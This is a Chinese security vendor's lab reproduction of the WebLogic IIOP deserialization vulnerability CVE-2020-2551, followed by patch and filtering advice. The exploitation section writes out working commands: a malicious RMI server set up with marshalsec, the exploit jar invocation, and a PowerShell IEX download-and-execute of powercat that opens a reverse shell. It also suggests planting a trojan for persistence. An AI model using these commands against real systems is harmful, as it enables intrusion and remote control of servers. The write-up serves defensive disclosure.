新闻资讯
全部分类

漏洞复现:CVE-2020-2551 Weblogic IIOP反序列化漏洞

  • 分类:行业洞察
  • 作者:
  • 来源:
  • 发布时间:2020-07-22 14:20
  • 访问量:

【概要描述】Weblogic核心组件爆出漏洞,严重影响IIOP协议,导致序列化对象可任意构造,恶意代码被执行。天地和兴复现该漏洞,为您带来安全警示!

漏洞复现:CVE-2020-2551 Weblogic IIOP反序列化漏洞

【概要描述】Weblogic核心组件爆出漏洞,严重影响IIOP协议,导致序列化对象可任意构造,恶意代码被执行。天地和兴复现该漏洞,为您带来安全警示!

  • 分类:行业洞察
  • 作者:
  • 来源:
  • 发布时间:2020-07-22 14:20
  • 访问量:
详情

  WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

  WebLogic最早由 WebLogic Inc.开发,后并入BEA 公司,最终BEA公司又并入Oracle公司。webserver是用来构建网站的必要软件,具有解析、发布网页等功能,它是用纯java开发的 ,广泛应用于政府、金融、电力、石油、智能制造等行业的网络业务。

  0x01 漏洞说明

  2020年1月15日,Oracle官方发布2020年1月关键补丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。

  从Oracle 官方的公告中看出该漏洞存在于Weblogic核心组件,影响的协议为IIOP协议。该漏洞依然是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,导致恶意代码被执行。通过分析,该漏洞的PoC构造与历史漏洞CVE-2017-3241、CVE-2018-3191都有一些相似的地方,而后在构造PoC的时候也可以发现。

  0x02 影响版本

  weblogic 10.3.6;

  weblogic 12.1.3.0;

  weblogic 12.2.1.3.0;

  weblogic 12.2.1.4.0。

  0x03 环境搭建

  Win7:192.168.121.129(虚拟机) jdk1.8/weblogic 10.3.6;

  Win10:192.168.121.1(本机)。

  环境搭建成功,weblogic默认端口为7001,访问127.0.0.1:7001/console/login/LoginForm.jsp。

  

 

  0x04 漏洞利用

  利用的exp地址:https://github.com/Y4er/CVE-2020-2551。

  

 

  exp.java如下,可以看到是调用了cmd.exe并执行了calc程序。

  

 

  编译exp.java,

  javac exp.java -source 1.6 -target 1.6。

  

 

  编译完成之后用python启动一个web服务,

  python3 -m http.server 80。

  

 

  然后使用marshalsec起一个恶意的RMI服务

  java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.121.129/#exp" 1099

  

 

  开始利用

  java -jar weblogic_CVE_2020_2551.jar 127.0.0.1 7001 rmi://192.168.121.129:1099/exp

  

 

  成功执行了我们的命令弹出了计算器。

  进一步利用:

  因为Exp利用比较麻烦,因为每次都要修改exp.java并且还要重新编译。对其执行whoami交互类的命令的时候并不回显,所以只好进行反弹shell进行尝试。

  这里使用powershell进行尝试,

  https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

  这个网址需要上飞机之后才可以访问,但是虚拟机里访问不到。

  这时将ps下载到vps上的web服务中,物理机监听6666端口。

  最终命令如下:

  IEX (New-Object System.Net.Webclient).DownloadString('http://www.naturali5r.cn/powercat.ps1'); powercat -c 192.168.121.1 -p 6666 -e cmd

  

 

  

 

  Shell反弹成功!可以看到执行whoami返回了虚拟机里的用户信息。也可以让目标下载并执行一个已经预定好的恶意程序,比如木马,在metasploit中进行监听,达到权限维持的效果。

  0x05 防范及修复建议

  防范

  修改weblogic的默认端口号。

  weblogic的默认端口是7001,假若想修改为8080,

  操作步骤如下:

  在config.xml文件中的添加<listen-port>8080</listen-port>。

  修复建议

  1.使用 Oracle 官方安全补丁进行更新修复。

  Oracle Critical Patch Update Advisory – January 2020。

  2.如果不依赖T3协议进行JVM通信,用户可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。

  Weblogic Server 提供了名为weblogic.security.net.ConnectionFilterImpl 的默认连接筛选器,此连接筛选器接受所有传入连接,可通过此连接筛选器配置规则,对t3及t3s协议进行访问控制,详细操作步骤如下:

  l 进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置;

  l 在连接筛选器中输入:security.net.ConnectionFilterImpl,在连接筛选器规则中配置符合实际情况的规则;

  l 保存后若规则未生效,建议重新启动Weblogic服务(重启Weblogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。

  0x06 参考链接

  【1】https://blog.csdn.net/caiqiiqi/article/details/104509330/

  【2】https://scriptboy.cn/p/cve-2020-2551/

  【3】https://www.freebuf.com/vuls/227920.html

关键词:

扫二维码用手机看

天地和兴

公司总部:北京市海淀区中关村软件园8号华夏科技大厦三层

服务热线:400-810-8981 / 010-82896289

版权所有:北京天地和兴科技有限公司      京ICP备17065546号-1

扫一扫关注

天地和兴微信公众号